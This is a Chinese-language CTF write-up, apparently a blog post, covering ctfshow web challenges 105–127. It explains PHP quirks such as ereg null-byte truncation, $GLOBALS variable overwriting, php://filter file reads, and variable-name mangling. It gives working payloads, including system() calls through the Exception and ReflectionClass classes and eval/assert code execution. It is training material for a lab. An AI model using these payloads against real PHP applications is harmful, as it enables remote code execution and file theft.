ctfshow 105-127

Web(105)【foreach函数】

Foreach函数PHP: foreach - Manual

?suces=flag   post   error=suces

Web(106)【shal】

?v2[ ]=3

v1[ ]=   之前104的做法不过这里因为加了一个条件所以要使用不同的赋值。

Web(107)【Parse_str函数】

Parse_str函数的使用是将一个字符串加入到数组中,就是将v1加入到数组中,

?v3【】=

Post

V1=

因为md5无法解析数组所以为空,我们不给v1的值到最后,v2的值也就为空,所以空对空为真。

Web(108)【ereg函数】

ereg()函数用指定的模式搜索一个字符串中指定的字符串,如果匹配成功返回true,否则,则返回false。搜索字母的字符是大小写敏感的。

strrev() 函数反转字符串。

intval() 函数用于获取变量的整数值

首先需要知道%00可以截断ereg()函数的搜索,正则表达式只会匹配%00之前的内容;0x36d的十进制内容为877,我们需要字母在前来满足if条件的正则匹配来跳过if语句,接着再进行字符串的反转得到877a,接着intval()函数取整数部分得到877所以payload为

?c=a%00778

Web109【反射类和异常处理类】

V1和v2要求都有字母。就是最后的形式一般的不行所以要用个类来包含函数,最后输出。

Exception 处理用于在指定的错误发生时改变脚本的正常流程,是php内置的异常处理类

ReflectionClass 或者 ReflectionMethod 都为常用的反射类,可以理解为一个类的映射

?v1=Exception&v2=system('tac fl36dg.txt')
或者
?v1=ReflectionClass&v2=system('tac fl36dg.txt')
或者
?v1=ReflectionMethod&v2=system('tac fl36dg.txt')

构建异常类并在类中添加system函数之后是输出,首先要查看flag的位置可以system(ls)之后是发现在fl36dg.txt中。构建成功。

Web 110【FilesystemIterator迭代器】

利用 FilesystemIterator 获取指定目录下的所有文件 

 getcwd()函数 获取当前工作目录

 echo new FilesystemIterator(getcwd()); //默认只显示第一个文件,需要遍历

?v1=FilesystemIterator&v2=getcwd

之后在url里访问得到的falg文件名称。

Web111【$GLOBALS】

这次依然考点在于变量覆盖(知识点忘记的话去温习一下web105),首选需要v1含有ctfshow才能过正则,执行getflag函数,所以v1=ctfshow,接着再getflag函数里,会把v2的地址传给v1,接着再输出v1,这里我们可以使用php里的全局变量GLOBALS

    $GLOBALS — 引用全局作用域中可用的全部变量 一个包含了全部变量的全局组合数组。变量的名字就是数组的键。

所以payload为

Code

?v1=ctfshow&v2=GLOBALS

过程就是$ctfshow=&$GLOBALS(全局变量中会含有flag的变量),接着再通过var_dump输出$ctfshow

Web112【is_file()函数,filter() 函数】

is_file() 函数检查指定的文件名是否是正常的文件

filter() 函数用于对来自非安全来源的数据(比如用户输入)进行验证和过滤

这里首先if语句里需要我们传入的不是文件类型才能执行highlight_file语句来读取flag文件,也就是一个绕过的考点,我们使用php伪协议即可,所以payload为

?file=php://filter/resource=flag.php

Web113【.zlib:】

多过滤了filter上一题的不能在继续使用,可以使用hint中的那个解法和上一题中的compress.zlib://flag.php

这个的提示来解决。具体为啥没找到原因。

Web114【】

将filter解除了限制,试一下直接可以得到。?file=php://filter/resource=flag.php

Web123【变量名】

看到后面有个eval()函数会执行$c,所以我们就关注$c和if判断需要的两个post即可
在php中变量名只有数字字母下划线,被get或者post传入的变量名,如果含有空格、+、[则会被转化为_,所以按理来说我们构造不出CTF_SHOW.COM这个变量(因为含有.),但php中有个特性就是如果传入[,它被转化为_之后,后面的字符就会被保留下来不会被替换,所以payload为

post:
CTF_SHOW=1&CTF[SHOW.COM=1&fun=echo $flag

web125

CTF_SHOW=1&CTF[SHOW.COM=1&fun=echo $flag在上题的基础上进行修改然后是它将flag和echo进行了过滤,现在我们需要将一个读文件的操作和将flag传进去,flag被过滤了可以新建一个文件其转折作用

CTF_SHOW=1&CTF[SHOW.COM=1&fun=highlight_file($_GET[1]);

?1=flag.php

web126【$_SERVER['argv'][0]=$_SERVER['QUERY_STRING']】

$_SERVER['argv'][0]=$_SERVER['QUERY_STRING']

query string是Uniform Resource Locator (URL)的一部分, 其中包含着需要传给web application的数据

GET:?$fl0g=flag_give_me

POST:CTF_SHOW=&CTF[SHOW.COM=&fun=assert($a[0])

Web127【extract】

extract() 函数从数组中将变量导入到当前的符号表,使用数组键名作为变量名,使用数组键值作为变量值

举例就是?a=2,就会变成$a=2,这里ctf_show有个_需要构造,前面说过php中变量名只有数字字母下划线,被get或者post传入的变量名,如果含有空格、+、[则会被转化为_,这里空格没有被ban,所以我们就使用空格,payload为

?ctf show=ilove36d

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值